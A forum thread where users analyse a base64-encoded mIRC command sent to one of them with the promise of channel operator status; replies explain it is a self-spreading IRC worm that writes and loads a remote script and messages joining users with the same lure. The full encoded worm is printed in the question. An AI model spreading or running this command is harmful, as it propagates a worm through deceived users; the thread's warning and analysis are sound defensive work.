mIRC question :\

[CloudEngineer]

Okay i was on irc today (austnet to specific) and some lamer told me to put this in to that main channel

As i'm not an idiot i told the person to go F@#$ off and ignored him.

He said this code lets u get OP in the chan

Obvously it doesn't or he would have been OP in the channel

So what does this do?

//$decode( d3JpdGUgxCBvbiAqOmpvaW46IzoudGltZXIgMSAzMCBpZiAoICRuaWNrICFpc29wICRjaGFuICkgLm1zZyAkbmljayBoZXkgJG5pY2sgdG8gZ2V0IE9QcyB1c2UgdGhpcyBoYWNrIGluIHRoZSBjaGFuIGJ1dCBTSEghIAM0Ly8kICQrIGRlY29kZSggJGVuY29kZSh3cml0ZSDEICRyZWFkKCRzY3JpcHQsbiwxKSxtKSAsbSkgJCAkKyBjaHIoMTI0KSAkICQgJCsgKyBkZWNvZGUoICRlbmNvZGUoLmxvYWQgLXJzIMQsbSkgLG0p ,m) | $decode( LmxvYWQgLXJzIMQ= ,m)

That definitely wouldn't give you op. It's a server-side thing. That look more like client-side command. Still I don't know what it is suppose to do. :ermm:

That is basically an irc worm, with no payload.

The unicode stuff decodes to a remote which is something along the lines of (this is from memory, i just *had* to find out what it did!)

on join 1:/msg $$1 'hey, type this to get ops in any channel! //$decode( d3JpdGUgxCBvbiAqOmpvaW46IzoudGltZXIgMSAzMCBpZiAoIC

So once you've run the decode line, it creates a file in c:mirc called a.(sumfin, txt prolly), which is pointed to in the remotes menu. Then when someone joins the # your in, you (unknowingly) msg them the above stuff, that you were sent in the first place.

Absolutely pointless, apart from to spread itself and give the writer some wierd pleasure!!!!!

long story short: you were wise to not run it. :)

hope thats clear enough!

now i get it. :D

Thanx

[mariusu]

don't run this ****

ignore this lamerzzzzzzzzzz:D

[configure Veteran]

One thing.. how did you figure this out? :ermm: :D

[Jon]

Like i said, my curiousity took over, i loaded another instance of mirc, joined a safe (few mates only channel), and ran it, cycled the # etc, saw what it did, then looked through alias's and remotes.

someone had to :)

edit: sorry did not see someone had explained what it did..

(removed explanation)

But...

if anyone wants to check what a command does u can type //echo

the double // allows the command to echo with any aliases being executed

so /echo $time would just echo $time but //echo $time shows 23:18:43

From the resulting echo'ed result u can see it uses the write command .. which aint good if you dont know what it does

Hope that helps somewhat :)
